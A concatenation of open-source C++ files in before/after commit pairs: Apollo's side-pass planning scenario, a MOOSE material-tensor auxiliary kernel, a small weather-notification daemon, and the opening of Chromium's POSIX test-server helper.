\/\/ vehicles are far away\n continue;\n }\n if (path_obstacle->PerceptionSLBoundary().start_l() > 1.0 ||\n path_obstacle->PerceptionSLBoundary().end_l() < -1.0) {\n continue;\n }\n\n bool is_blocked_by_others = false;\n for (const auto* other_obstacle : path_decision.path_obstacles().Items()) {\n if (other_obstacle->Id() == path_obstacle->Id()) {\n continue;\n }\n if (other_obstacle->PerceptionSLBoundary().start_l() >\n path_obstacle->PerceptionSLBoundary().end_l() ||\n other_obstacle->PerceptionSLBoundary().end_l() <\n path_obstacle->PerceptionSLBoundary().start_l()) {\n \/\/ not blocking the backside vehicle\n continue;\n }\n\n double delta_s = other_obstacle->PerceptionSLBoundary().start_s() -\n path_obstacle->PerceptionSLBoundary().end_s();\n if (delta_s < 0.0 || delta_s > kAdcDistanceThreshold) {\n continue;\n } else {\n \/\/ TODO(All): fixed the segmentation bug for large vehicles, otherwise\n \/\/ the follow line will be problematic.\n \/\/ is_blocked_by_others = true; break;\n }\n }\n if (!is_blocked_by_others) {\n return true;\n }\n }\n return false;\n}\n\n} \/\/ namespace planning\n} \/\/ namespace apollo\nplanning: updated side pass scenario exit condition.\/******************************************************************************\n * Copyright 2018 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file\n **\/\n\n#include \"modules\/planning\/scenarios\/side_pass\/side_pass_scenario.h\"\n\n#include \n#include \n#include \n\n#include \"cyber\/common\/log.h\"\n#include \"modules\/common\/math\/math_utils.h\"\n#include \"modules\/common\/time\/time.h\"\n#include \"modules\/common\/util\/file.h\"\n#include \"modules\/common\/util\/string_tokenizer.h\"\n#include \"modules\/common\/util\/string_util.h\"\n#include \"modules\/common\/vehicle_state\/vehicle_state_provider.h\"\n#include \"modules\/map\/hdmap\/hdmap.h\"\n#include \"modules\/map\/hdmap\/hdmap_common.h\"\n#include \"modules\/planning\/common\/ego_info.h\"\n#include \"modules\/planning\/common\/frame.h\"\n#include \"modules\/planning\/common\/planning_gflags.h\"\n#include \"modules\/planning\/constraint_checker\/constraint_checker.h\"\n#include \"modules\/planning\/toolkits\/optimizers\/dp_poly_path\/dp_poly_path_optimizer.h\"\n#include \"modules\/planning\/toolkits\/optimizers\/dp_st_speed\/dp_st_speed_optimizer.h\"\n#include \"modules\/planning\/toolkits\/optimizers\/path_decider\/path_decider.h\"\n#include \"modules\/planning\/toolkits\/optimizers\/poly_st_speed\/poly_st_speed_optimizer.h\"\n#include \"modules\/planning\/toolkits\/optimizers\/qp_spline_path\/qp_spline_path_optimizer.h\"\n#include \"modules\/planning\/toolkits\/optimizers\/qp_spline_st_speed\/qp_spline_st_speed_optimizer.h\"\n#include \"modules\/planning\/toolkits\/optimizers\/speed_decider\/speed_decider.h\"\n\nnamespace apollo {\nnamespace planning {\n\nusing common::ErrorCode;\nusing common::SLPoint;\nusing common::SpeedPoint;\nusing common::TrajectoryPoint;\nusing common::math::Vec2d;\nusing common::time::Clock;\n\nnamespace {\nconstexpr double kPathOptimizationFallbackCost = 2e4;\nconstexpr double kSpeedOptimizationFallbackCost = 2e4;\nconstexpr double kStraightForwardLineCost = 10.0;\n} \/\/ namespace\n\nvoid SidePassScenario::Init() {\n if (init_) {\n return;\n }\n\n Scenario::Init();\n\n init_ = true;\n}\n\napollo::common::util::Factory<\n ScenarioConfig::StageType, Stage,\n Stage* (*)(const ScenarioConfig::StageConfig& stage_config)>\n SidePassScenario::s_stage_factory_;\n\nvoid SidePassScenario::RegisterStages() {\n s_stage_factory_.Clear();\n s_stage_factory_.Register(\n ScenarioConfig::SIDE_PASS_APPROACH_OBSTACLE,\n [](const ScenarioConfig::StageConfig& config) -> Stage* {\n return new SidePassApproachObstacle(config);\n });\n s_stage_factory_.Register(\n ScenarioConfig::SIDE_PASS_DETECT_SAFETY,\n [](const ScenarioConfig::StageConfig& config) -> Stage* {\n return new SidePassDetectSafety(config);\n });\n s_stage_factory_.Register(\n ScenarioConfig::SIDE_PASS_GENERATE_PATH,\n [](const ScenarioConfig::StageConfig& config) -> Stage* {\n return new SidePassGeneratePath(config);\n });\n s_stage_factory_.Register(\n ScenarioConfig::SIDE_PASS_STOP_ON_WAITPOINT,\n [](const ScenarioConfig::StageConfig& config) -> Stage* {\n return new SidePassStopOnWaitPoint(config);\n });\n s_stage_factory_.Register(\n ScenarioConfig::SIDE_PASS_PASS_OBSTACLE,\n [](const ScenarioConfig::StageConfig& config) -> Stage* {\n return new SidePassPassObstacle(config);\n });\n}\n\nstd::unique_ptr SidePassScenario::CreateStage(\n const ScenarioConfig::StageConfig& stage_config) {\n if (s_stage_factory_.Empty()) {\n RegisterStages();\n }\n auto ptr = s_stage_factory_.CreateObjectOrNull(stage_config.stage_type(),\n stage_config);\n ptr->SetContext(&side_pass_context_);\n return ptr;\n}\n\nbool SidePassScenario::IsTransferable(const Scenario& current_scenario,\n const common::TrajectoryPoint& ego_point,\n const Frame& frame) const {\n if (frame.reference_line_info().size() > 1) {\n return false;\n }\n if (current_scenario.scenario_type() == ScenarioConfig::SIDE_PASS) {\n return (current_scenario.GetStatus() !=\n Scenario::ScenarioStatus::STATUS_DONE);\n } else if (current_scenario.scenario_type() != ScenarioConfig::LANE_FOLLOW) {\n return false;\n } else {\n return IsSidePassScenario(ego_point, frame);\n }\n}\n\nStage::StageStatus SidePassApproachObstacle::Process(\n const TrajectoryPoint& planning_start_point, Frame* frame) {\n bool plan_ok = PlanningOnReferenceLine(planning_start_point, frame);\n if (!plan_ok) {\n return Stage::ERROR;\n }\n if (frame->vehicle_state().linear_velocity() < 1.0e-5) {\n next_stage_ = ScenarioConfig::SIDE_PASS_GENERATE_PATH;\n return Stage::FINISHED;\n }\n return Stage::RUNNING;\n}\n\nStage::StageStatus SidePassGeneratePath::Process(\n const TrajectoryPoint& planning_start_point, Frame* frame) {\n if (PlanningOnReferenceLine(planning_start_point, frame)) {\n next_stage_ = ScenarioConfig::SIDE_PASS_STOP_ON_WAITPOINT;\n return Stage::FINISHED;\n } else {\n return Stage::ERROR;\n }\n}\n\nStage::StageStatus SidePassStopOnWaitPoint::Process(\n const TrajectoryPoint& planning_start_point, Frame* frame) {\n bool all_far_away = false;\n const PathDecision& path_decision =\n frame->reference_line_info().front().path_decision();\n for (const auto* path_obstacle : path_decision.path_obstacles().Items()) {\n if (path_obstacle->obstacle()->IsVirtual()) {\n continue;\n }\n \/\/ TODO(All): check all ST boundaries are far away.\n }\n if (!all_far_away) {\n \/\/ wait here, do nothing this cycle.\n return Stage::RUNNING;\n }\n double move_forward_distance = 5.0;\n for (const auto& path_point :\n GetContext()->path_data_.discretized_path().path_points()) {\n \/\/ TODO(All):\n \/\/ (1) check if the ego car on path_point will partially go into the\n \/\/ neighbor\n \/\/ lane.\n \/\/ (2) update move_forward_distance\n CHECK_GE(path_point.s(), 0.0);\n CHECK_GE(move_forward_distance, 0.0);\n }\n \/\/ TODO(All):\n \/\/ (1) call proceed with cautious\n \/\/ (2) combine path and speed.\n\n next_stage_ = ScenarioConfig::SIDE_PASS_DETECT_SAFETY;\n return Stage::FINISHED;\n}\n\nStage::StageStatus SidePassDetectSafety::Process(\n const TrajectoryPoint& planning_start_point, Frame* frame) {\n if (PlanningOnReferenceLine(planning_start_point, frame)) {\n return Stage::ERROR;\n }\n bool is_safe = true;\n const PathDecision& path_decision =\n frame->reference_line_info().front().path_decision();\n for (const auto* path_obstacle : path_decision.path_obstacles().Items()) {\n if (path_obstacle->obstacle()->IsVirtual()) {\n is_safe = false;\n break;\n }\n }\n if (is_safe) {\n next_stage_ = ScenarioConfig::SIDE_PASS_PASS_OBSTACLE;\n return Stage::FINISHED;\n }\n return Stage::RUNNING;\n}\n\nStage::StageStatus SidePassPassObstacle::Process(\n const TrajectoryPoint& planning_start_point, Frame* frame) {\n bool plan_ok = PlanningOnReferenceLine(planning_start_point, frame);\n if (!plan_ok) {\n return Stage::ERROR;\n }\n const auto& reference_line_info = frame->reference_line_info().front();\n const SLBoundary& adc_sl_boundary = reference_line_info.AdcSlBoundary();\n const auto& end_point =\n reference_line_info.path_data().discretized_path().EndPoint();\n Vec2d last_xy_point(end_point.x(), end_point.y());\n \/\/ get s of last point on path\n SLPoint sl_point;\n if (!reference_line_info.reference_line().XYToSL(last_xy_point, &sl_point)) {\n AERROR << \"Fail to transfer cartesian point to frenet point.\";\n return Stage::ERROR;\n }\n\n if (adc_sl_boundary.end_s() > sl_point.s() - 1.0) {\n next_stage_ = ScenarioConfig::NO_STAGE;\n return Stage::FINISHED;\n }\n\n return Stage::RUNNING;\n}\n\nbool SidePassScenario::IsSidePassScenario(\n const common::TrajectoryPoint& planning_start_point,\n const Frame& frame) const {\n const SLBoundary& adc_sl_boundary =\n frame.reference_line_info().front().AdcSlBoundary();\n const PathDecision& path_decision =\n frame.reference_line_info().front().path_decision();\n \/\/ TODO(lianglia-apollo)\n\n return HasBlockingObstacle(adc_sl_boundary, path_decision);\n}\n\nbool SidePassScenario::IsFarFromIntersection(const Frame& frame) {\n if (frame.reference_line_info().size() > 1) {\n return false;\n }\n const SLBoundary& adc_sl_boundary =\n frame.reference_line_info().front().AdcSlBoundary();\n const auto& first_encounters =\n frame.reference_line_info().front().FirstEncounteredOverlaps();\n const double kClearDistance = 15.0; \/\/ in meters\n for (const auto& encounter : first_encounters) {\n if (encounter.first != ReferenceLineInfo::SIGNAL ||\n encounter.first != ReferenceLineInfo::STOP_SIGN) {\n continue;\n }\n if (encounter.second.start_s - adc_sl_boundary.end_s() < kClearDistance) {\n return false;\n }\n }\n return true;\n}\n\nbool SidePassScenario::HasBlockingObstacle(\n const SLBoundary& adc_sl_boundary,\n const PathDecision& path_decision) const {\n \/\/ a blocking obstacle is an obstacle blocks the road when it is not blocked\n \/\/ (by other obstacles or traffic rules)\n for (const auto* path_obstacle : path_decision.path_obstacles().Items()) {\n if (path_obstacle->obstacle()->IsVirtual() ||\n !path_obstacle->obstacle()->IsStatic()) {\n continue;\n }\n CHECK(path_obstacle->obstacle()->IsStatic());\n\n if (path_obstacle->PerceptionSLBoundary().start_s() <=\n adc_sl_boundary.end_s()) { \/\/ such vehicles are behind the adc.\n continue;\n }\n constexpr double kAdcDistanceThreshold = 15.0; \/\/ unit: m\n if (path_obstacle->PerceptionSLBoundary().start_s() >\n adc_sl_boundary.end_s() +\n kAdcDistanceThreshold) { \/\/ vehicles are far away\n continue;\n }\n if (path_obstacle->PerceptionSLBoundary().start_l() > 1.0 ||\n path_obstacle->PerceptionSLBoundary().end_l() < -1.0) {\n continue;\n }\n\n bool is_blocked_by_others = false;\n for (const auto* other_obstacle : path_decision.path_obstacles().Items()) {\n if (other_obstacle->Id() == path_obstacle->Id()) {\n continue;\n }\n if (other_obstacle->PerceptionSLBoundary().start_l() >\n path_obstacle->PerceptionSLBoundary().end_l() ||\n other_obstacle->PerceptionSLBoundary().end_l() <\n path_obstacle->PerceptionSLBoundary().start_l()) {\n \/\/ not blocking the backside vehicle\n continue;\n }\n\n double delta_s = other_obstacle->PerceptionSLBoundary().start_s() -\n path_obstacle->PerceptionSLBoundary().end_s();\n if (delta_s < 0.0 || delta_s > kAdcDistanceThreshold) {\n continue;\n } else {\n \/\/ TODO(All): fixed the segmentation bug for large vehicles, otherwise\n \/\/ the follow line will be problematic.\n \/\/ is_blocked_by_others = true; break;\n }\n }\n if (!is_blocked_by_others) {\n return true;\n }\n }\n return false;\n}\n\n} \/\/ namespace planning\n} \/\/ namespace apollo\n<|endoftext|>"} {"text":"#include \"MaterialTensorAux.h\"\n\n#include \"SymmTensor.h\"\n\ntemplate<>\nInputParameters validParams()\n{\n MooseEnum quantities(\"VonMises=1, PlasticStrainMag, Hydrostatic, Hoop, FirstInvariant, SecondInvariant, ThirdInvariant, TriAxiality\");\n\n InputParameters params = validParams();\n params.addRequiredParam(\"tensor\", \"The material tensor name.\");\n params.addParam(\"index\", -1, \"The index into the tensor, from 0 to 5 (xx, yy, zz, xy, yz, zx).\");\n params.addParam(\"quantity\", quantities, \"A scalar quantity to compute: \" + quantities.getRawNames());\n\n params.addParam(\"point1\", RealVectorValue(3, 0, 0), \"Point one for defining an axis\");\n params.addParam(\"point2\", RealVectorValue(3, 1, 0), \"Point two for defining an axis\");\n return params;\n}\n\nMaterialTensorAux::MaterialTensorAux( const std::string & name, InputParameters parameters ) :\n AuxKernel( name, parameters ),\n _tensor( getMaterialProperty( getParam(\"tensor\") ) ),\n _index( getParam(\"index\") ),\n _quantity_moose_enum( getParam(\"quantity\") ),\n _p1( getParam(\"point1\") ),\n _p2( getParam(\"point2\") )\n{\n if (_quantity_moose_enum.isValid())\n {\n if ( _index > 0 )\n mooseError(\"Cannot define an index and a quantity in \" + _name);\n else\n _quantity = MTA_ENUM(int(_quantity_moose_enum));\n }\n else\n {\n if ( _index < 0 )\n mooseError(\"Neither an index nor a quantity listed for \" + _name);\n else\n _quantity = MTA_COMPONENT; \/\/ default\n }\n\n if (_index > -1 && _index > 5)\n {\n mooseError(\"MaterialTensorAux requires the index to be >= 0 and <= 5 OR < 0 (off).\");\n }\n}\n\nReal\nMaterialTensorAux::computeValue()\n{\n Real value(0);\n const SymmTensor & tensor( _tensor[_qp] );\n if (_quantity == MTA_COMPONENT)\n {\n value = tensor.component(_index);\n }\n else if ( _quantity == MTA_VONMISES )\n {\n value = std::sqrt(0.5*(\n std::pow(tensor.xx() - tensor.yy(), 2) +\n std::pow(tensor.yy() - tensor.zz(), 2) +\n std::pow(tensor.zz() - tensor.xx(), 2) + 6 * (\n std::pow(tensor.xy(), 2) +\n std::pow(tensor.yz(), 2) +\n std::pow(tensor.zx(), 2))));\n }\n else if ( _quantity == MTA_PLASTICSTRAINMAG )\n {\n value = std::sqrt(2.0\/3.0 * tensor.doubleContraction(tensor));\n }\n else if ( _quantity == MTA_HYDROSTATIC )\n {\n value = tensor.trace()\/3.0;\n }\n else if ( _quantity == MTA_HOOP )\n {\n if (LIBMESH_DIM == 2)\n {\n value = tensor.zz();\n }\n else\n {\n \/\/ This is the location of the stress. A vector from the cylindrical axis to this point will define the x' axis.\n Point p0( _q_point[_qp] );\n\n \/\/ The vector _p1 + t*(_p2-_p1) defines the cylindrical axis. The point along this\n \/\/ axis closest to p0 is found by the following for t:\n const Point p2p1( _p2 - _p1 );\n const Point p2p0( _p2 - p0 );\n const Point p1p0( _p1 - p0 );\n const Real t( -(p1p0*p2p1)\/p2p1.size_sq() );\n \/\/ The nearest point on the cylindrical axis to p0 is p.\n const Point p( _p1 + t * p2p1 );\n Point xp( p0 - p );\n xp \/= xp.size();\n Point yp( p2p1\/p2p1.size() );\n Point zp( xp.cross( yp ));\n \/\/\n \/\/ The following works but does more than we need\n \/\/\n\/\/ \/\/ Rotation matrix R\n\/\/ ColumnMajorMatrix R(3,3);\n\/\/ \/\/ Fill with direction cosines\n\/\/ R(0,0) = xp(0);\n\/\/ R(1,0) = xp(1);\n\/\/ R(2,0) = xp(2);\n\/\/ R(0,1) = yp(0);\n\/\/ R(1,1) = yp(1);\n\/\/ R(2,1) = yp(2);\n\/\/ R(0,2) = zp(0);\n\/\/ R(1,2) = zp(1);\n\/\/ R(2,2) = zp(2);\n\/\/ \/\/ Rotate\n\/\/ ColumnMajorMatrix tensor( _tensor[_qp].columnMajorMatrix() );\n\/\/ ColumnMajorMatrix tensorp( R.transpose() * ( tensor * R ));\n\/\/ \/\/ Hoop stress is the zz stress\n\/\/ value = tensorp(2,2);\n \/\/\n \/\/ Instead, tensorp(2,2) = R^T(2,:)*tensor*R(:,2)\n \/\/\n const Real zp0( zp(0) );\n const Real zp1( zp(1) );\n const Real zp2( zp(2) );\n value = (zp0*tensor(0,0)+zp1*tensor(1,0)+zp2*tensor(2,0))*zp0 +\n (zp0*tensor(0,1)+zp1*tensor(1,1)+zp2*tensor(2,1))*zp1 +\n (zp0*tensor(0,2)+zp1*tensor(1,2)+zp2*tensor(2,2))*zp2;\n }\n }\n else if ( _quantity == MTA_FIRSTINVARIANT )\n {\n value = tensor.trace();\n }\n else if ( _quantity == MTA_SECONDINVARIANT )\n {\n value =\n tensor.xx()*tensor.yy() +\n tensor.yy()*tensor.zz() +\n tensor.zz()*tensor.xx() -\n tensor.xy()*tensor.xy() -\n tensor.yz()*tensor.yz() -\n tensor.zx()*tensor.zx();\n }\n else if ( _quantity == MTA_THIRDINVARIANT )\n {\n value =\n tensor.xx()*tensor.yy()*tensor.zz() -\n tensor.xx()*tensor.yz()*tensor.yz() +\n tensor.xy()*tensor.zx()*tensor.yz() -\n tensor.xy()*tensor.xy()*tensor.zz() +\n tensor.zx()*tensor.xy()*tensor.yz() -\n tensor.zx()*tensor.zx()*tensor.yy();\n }\n else if ( _quantity == MTA_TRIAXIALITY )\n {\n Real hydrostatic = tensor.trace()\/3.0;\n Real von_mises = std::sqrt(0.5*(\n std::pow(tensor.xx() - tensor.yy(), 2) +\n std::pow(tensor.yy() - tensor.zz(), 2) +\n std::pow(tensor.zz() - tensor.xx(), 2) + 6 * (\n std::pow(tensor.xy(), 2) +\n std::pow(tensor.yz(), 2) +\n std::pow(tensor.zx(), 2))));\n\n value = std::abs(hydrostatic \/ von_mises);\n }\n else\n {\n mooseError(\"Internal logic error from \" + name());\n }\n return value;\n}\n\n\npf cp#include \"MaterialTensorAux.h\"\n\n#include \"SymmTensor.h\"\n\ntemplate<>\nInputParameters validParams()\n{\n MooseEnum quantities(\"VonMises=1, PlasticStrainMag, Hydrostatic, Hoop, FirstInvariant, SecondInvariant, ThirdInvariant, TriAxiality\");\n\n InputParameters params = validParams();\n params.addRequiredParam(\"tensor\", \"The material tensor name.\");\n params.addParam(\"index\", -1, \"The index into the tensor, from 0 to 5 (xx, yy, zz, xy, yz, zx).\");\n params.addParam(\"quantity\", quantities, \"A scalar quantity to compute: \" + quantities.getRawNames());\n\n params.addParam(\"point1\", RealVectorValue(3, 0, 0), \"Point one for defining an axis\");\n params.addParam(\"point2\", RealVectorValue(3, 1, 0), \"Point two for defining an axis\");\n return params;\n}\n\nMaterialTensorAux::MaterialTensorAux( const std::string & name, InputParameters parameters ) :\n AuxKernel( name, parameters ),\n _tensor( getMaterialProperty( getParam(\"tensor\") ) ),\n _index( getParam(\"index\") ),\n _quantity_moose_enum( getParam(\"quantity\") ),\n _p1( getParam(\"point1\") ),\n _p2( getParam(\"point2\") )\n{\n if (_quantity_moose_enum.isValid())\n {\n if ( _index > 0 )\n mooseError(\"Cannot define an index and a quantity in \" + _name);\n else\n _quantity = MTA_ENUM(int(_quantity_moose_enum));\n }\n else\n {\n if ( _index < 0 )\n mooseError(\"Neither an index nor a quantity listed for \" + _name);\n else\n _quantity = MTA_COMPONENT; \/\/ default\n }\n\n if (_index > -1 && _index > 5)\n {\n mooseError(\"MaterialTensorAux requires the index to be >= 0 and <= 5 OR < 0 (off).\");\n }\n \n}\n\nReal\nMaterialTensorAux::computeValue()\n{\n Real value(0);\n const SymmTensor & tensor( _tensor[_qp] );\n if (_quantity == MTA_COMPONENT)\n {\n value = tensor.component(_index);\n }\n else if ( _quantity == MTA_VONMISES )\n {\n value = std::sqrt(0.5*(\n std::pow(tensor.xx() - tensor.yy(), 2) +\n std::pow(tensor.yy() - tensor.zz(), 2) +\n std::pow(tensor.zz() - tensor.xx(), 2) + 6 * (\n std::pow(tensor.xy(), 2) +\n std::pow(tensor.yz(), 2) +\n std::pow(tensor.zx(), 2))));\n }\n else if ( _quantity == MTA_PLASTICSTRAINMAG )\n {\n value = std::sqrt(2.0\/3.0 * tensor.doubleContraction(tensor));\n }\n else if ( _quantity == MTA_HYDROSTATIC )\n {\n value = tensor.trace()\/3.0;\n }\n else if ( _quantity == MTA_HOOP )\n {\n if (LIBMESH_DIM == 2)\n {\n value = tensor.zz();\n }\n else\n {\n \/\/ This is the location of the stress. A vector from the cylindrical axis to this point will define the x' axis.\n Point p0( _q_point[_qp] );\n\n \/\/ The vector _p1 + t*(_p2-_p1) defines the cylindrical axis. The point along this\n \/\/ axis closest to p0 is found by the following for t:\n const Point p2p1( _p2 - _p1 );\n const Point p2p0( _p2 - p0 );\n const Point p1p0( _p1 - p0 );\n const Real t( -(p1p0*p2p1)\/p2p1.size_sq() );\n \/\/ The nearest point on the cylindrical axis to p0 is p.\n const Point p( _p1 + t * p2p1 );\n Point xp( p0 - p );\n xp \/= xp.size();\n Point yp( p2p1\/p2p1.size() );\n Point zp( xp.cross( yp ));\n \/\/\n \/\/ The following works but does more than we need\n \/\/\n\/\/ \/\/ Rotation matrix R\n\/\/ ColumnMajorMatrix R(3,3);\n\/\/ \/\/ Fill with direction cosines\n\/\/ R(0,0) = xp(0);\n\/\/ R(1,0) = xp(1);\n\/\/ R(2,0) = xp(2);\n\/\/ R(0,1) = yp(0);\n\/\/ R(1,1) = yp(1);\n\/\/ R(2,1) = yp(2);\n\/\/ R(0,2) = zp(0);\n\/\/ R(1,2) = zp(1);\n\/\/ R(2,2) = zp(2);\n\/\/ \/\/ Rotate\n\/\/ ColumnMajorMatrix tensor( _tensor[_qp].columnMajorMatrix() );\n\/\/ ColumnMajorMatrix tensorp( R.transpose() * ( tensor * R ));\n\/\/ \/\/ Hoop stress is the zz stress\n\/\/ value = tensorp(2,2);\n \/\/\n \/\/ Instead, tensorp(2,2) = R^T(2,:)*tensor*R(:,2)\n \/\/\n const Real zp0( zp(0) );\n const Real zp1( zp(1) );\n const Real zp2( zp(2) );\n value = (zp0*tensor(0,0)+zp1*tensor(1,0)+zp2*tensor(2,0))*zp0 +\n (zp0*tensor(0,1)+zp1*tensor(1,1)+zp2*tensor(2,1))*zp1 +\n (zp0*tensor(0,2)+zp1*tensor(1,2)+zp2*tensor(2,2))*zp2;\n }\n }\n else if ( _quantity == MTA_FIRSTINVARIANT )\n {\n value = tensor.trace();\n }\n else if ( _quantity == MTA_SECONDINVARIANT )\n {\n value =\n tensor.xx()*tensor.yy() +\n tensor.yy()*tensor.zz() +\n tensor.zz()*tensor.xx() -\n tensor.xy()*tensor.xy() -\n tensor.yz()*tensor.yz() -\n tensor.zx()*tensor.zx();\n }\n else if ( _quantity == MTA_THIRDINVARIANT )\n {\n value =\n tensor.xx()*tensor.yy()*tensor.zz() -\n tensor.xx()*tensor.yz()*tensor.yz() +\n tensor.xy()*tensor.zx()*tensor.yz() -\n tensor.xy()*tensor.xy()*tensor.zz() +\n tensor.zx()*tensor.xy()*tensor.yz() -\n tensor.zx()*tensor.zx()*tensor.yy();\n }\n else if ( _quantity == MTA_TRIAXIALITY )\n {\n Real hydrostatic = tensor.trace()\/3.0;\n Real von_mises = std::sqrt(0.5*(\n std::pow(tensor.xx() - tensor.yy(), 2) +\n std::pow(tensor.yy() - tensor.zz(), 2) +\n std::pow(tensor.zz() - tensor.xx(), 2) + 6 * (\n std::pow(tensor.xy(), 2) +\n std::pow(tensor.yz(), 2) +\n std::pow(tensor.zx(), 2))));\n\n value = std::abs(hydrostatic \/ von_mises);\n }\n else\n {\n mooseError(\"Internal logic error from \" + name());\n }\n return value;\n}\n\n\n<|endoftext|>"} {"text":"\/*! @file\n *\n * @brief Do I need a Parker\n *\n * This module contains the routines that drive the dinapd daemon.\n *\n * @author APope\n * @date 20-02-2016\n *\/\n\/*!\n** @addtogroup DINAP_module DINAP module documentation\n** @{\n*\/\n\/* MODULE DINAP *\/\n#include \n#include \n#include \n#include \n#include \n#include \"DINAP.h\"\n\nDINAP::DINAP(TSTATE location=STATE_NSW, int parker_temp=18, int shorts_temp=25)\n{\n DINAP::location = location;\n DINAP::parker_temp = parker_temp;\n DINAP::shorts_temp = shorts_temp;\n}\n\nvoid DINAP::CheckWeatherInfo(void)\n{\n bool scrapeSucceeded;\n \/\/TODO: expand functionality\n syslog(LOG_MAKEPRI(LOG_DAEMON, LOG_NOTICE), \"Checking the Weather... \");\n\n \/\/TODO: Scrape weather information using location\n scrapeSucceeded = DINAP::scrapeWeatherData();\n}\n\nbool DINAP::scrapeWeatherData(void)\n{\n DINAP::notifyUser(\"Weather is 17 degs\", \"Brrr it's chilly! Time for a coat.\"); \/\/TEST MESSAGE\n return true;\n}\n\nvoid DINAP::notifyUser(const char * summary, const char * message)\n{\n \/\/Initialise the lib-notify handle\n notify_init(\"Do I need A Parker?\");\n\n \/\/Create the notification\n NotifyNotification * weatherUpdate;\n weatherUpdate = notify_notification_new(summary, message, NULL);\n\n \/\/Set timeout - 3 seconds\n notify_notification_set_timeout(weatherUpdate, 3000);\n\n \/\/Set the urgency level\n notify_notification_set_urgency(weatherUpdate, NOTIFY_URGENCY_CRITICAL);\n\n \/\/Show the notification\n if (!notify_notification_show(weatherUpdate, NULL))\n {\n syslog(LOG_MAKEPRI(LOG_DAEMON, LOG_ERR), \"Failed to send notification.\");\n }\n\n \/\/Unitialise lib-notify\n notify_uninit();\n}\n\nvoid DINAP::compareUserTemp(int scrapedTemp)\n{\n\n}\n\/* END DINAP *\/\n\/*!\n** @}\n*\/\nDinap.cpp: - Expanded basic functionality in calling to the bomparser module to get 'real-time' temperature information\/*! @file\n *\n * @brief Do I need a Parker\n *\n * This module contains the routines that drive the dinapd daemon.\n *\n * @author APope\n * @date 20-02-2016\n *\/\n\/*!\n** @addtogroup DINAP_module DINAP module documentation\n** @{\n*\/\n\/* MODULE DINAP *\/\n#include \n#include \n#include \n#include \n#include \n#include \"DINAP.h\"\n#include \"bomparser.h\"\n\nDINAP::DINAP(TSTATE location=STATE_NSW, int parker_temp=18, int shorts_temp=25)\n{\n DINAP::location = location;\n DINAP::parker_temp = parker_temp;\n DINAP::shorts_temp = shorts_temp;\n}\n\nvoid DINAP::CheckWeatherInfo(void)\n{\n bool scrapeSucceeded;\n\n \/\/TODO: expand functionality\n syslog(LOG_MAKEPRI(LOG_DAEMON, LOG_NOTICE), \"Checking the Weather... \");\n scrapeSucceeded = DINAP::scrapeWeatherData();\n}\n\nbool DINAP::scrapeWeatherData(void)\n{\n bool scrapeOK = false;\n \n BomParser bomSpider = BomParser();\n \n std::string scrapedTemp = bomSpider.GetWeatherInfo(STATE_NSW, INFO_Temp); \/\/TEST CODE\n\n if (!scrapedTemp.empty())\n {\n syslog(LOG_MAKEPRI(LOG_DAEMON, LOG_INFO), scrapedTemp.c_str());\n compareUserTemp(32);\n scrapeOK = true;\n }\n else\n {\n syslog(LOG_MAKEPRI(LOG_DAEMON, LOG_ERR), \"Unable to obtain weather information.\");\n }\n\n return scrapeOK;\n}\n\nvoid DINAP::notifyUser(const char * summary, const char * message)\n{\n \/\/Initialise the lib-notify handle\n notify_init(\"Do I need A Parker?\");\n\n \/\/Create the notification\n NotifyNotification * weatherUpdate;\n weatherUpdate = notify_notification_new(summary, message, NULL);\n\n \/\/Set timeout - 3 seconds\n notify_notification_set_timeout(weatherUpdate, 3000);\n\n \/\/Set the urgency level\n notify_notification_set_urgency(weatherUpdate, NOTIFY_URGENCY_CRITICAL);\n\n \/\/Show the notification\n if (!notify_notification_show(weatherUpdate, NULL))\n {\n syslog(LOG_MAKEPRI(LOG_DAEMON, LOG_ERR), \"Failed to send notification.\");\n }\n\n \/\/Unitialise lib-notify\n notify_uninit();\n}\n\nvoid DINAP::compareUserTemp(int scrapedTemp)\n{\n DINAP::notifyUser(\"Weather is 17 degs\", \"Brrr it's chilly! Time for a coat.\"); \/\/TEST MESSAGE\n}\n\/* END DINAP *\/\n\/*!\n** @}\n*\/\n<|endoftext|>"} {"text":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"net\/test\/test_server.h\"\n\n#include \n\n#include \n\n#include \"base\/command_line.h\"\n#include \"base\/file_util.h\"\n#include \"base\/logging.h\"\n#include \"base\/process_util.h\"\n#include \"base\/string_number_conversions.h\"\n#include \"base\/string_util.h\"\n#include \"base\/test\/test_timeouts.h\"\n\nnamespace {\n\n\/\/ Helper class used to detect and kill orphaned python test server processes.\n\/\/ Checks if the command line of a process contains |path_string| (the path\n\/\/ from which the test server was launched) and |port_string| (the port used by\n\/\/ the test server), and if the parent pid of the process is 1 (indicating that\n\/\/ it is an orphaned process).\nclass OrphanedTestServerFilter : public base::ProcessFilter {\n public:\n OrphanedTestServerFilter(\n const std::string& path_string, const std::string& port_string)\n : path_string_(path_string),\n port_string_(port_string) {}\n\n virtual bool Includes(const base::ProcessEntry& entry) const {\n if (entry.parent_pid() != 1)\n return false;\n bool found_path_string = false;\n bool found_port_string = false;\n for (std::vector::const_iterator it =\n entry.cmd_line_args().begin();\n it != entry.cmd_line_args().end();\n ++it) {\n if (it->find(path_string_) != std::string::npos)\n found_path_string = true;\n if (it->find(port_string_) != std::string::npos)\n found_port_string = true;\n }\n return found_path_string && found_port_string;\n }\n\n private:\n std::string path_string_;\n std::string port_string_;\n DISALLOW_COPY_AND_ASSIGN(OrphanedTestServerFilter);\n};\n\n\/\/ Given a file descriptor, reads into |buffer| until |bytes_max|\n\/\/ bytes has been read or an error has been encountered. Returns true\n\/\/ if the read was successful. |remaining_time| is used as a timeout.\nbool ReadData(int fd, ssize_t bytes_max, uint8* buffer,\n base::TimeDelta* remaining_time) {\n ssize_t bytes_read = 0;\n base::Time previous_time = base::Time::Now();\n while (bytes_read < bytes_max) {\n struct pollfd poll_fds[1];\n\n poll_fds[0].fd = fd;\n poll_fds[0].events = POLLIN | POLLPRI;\n 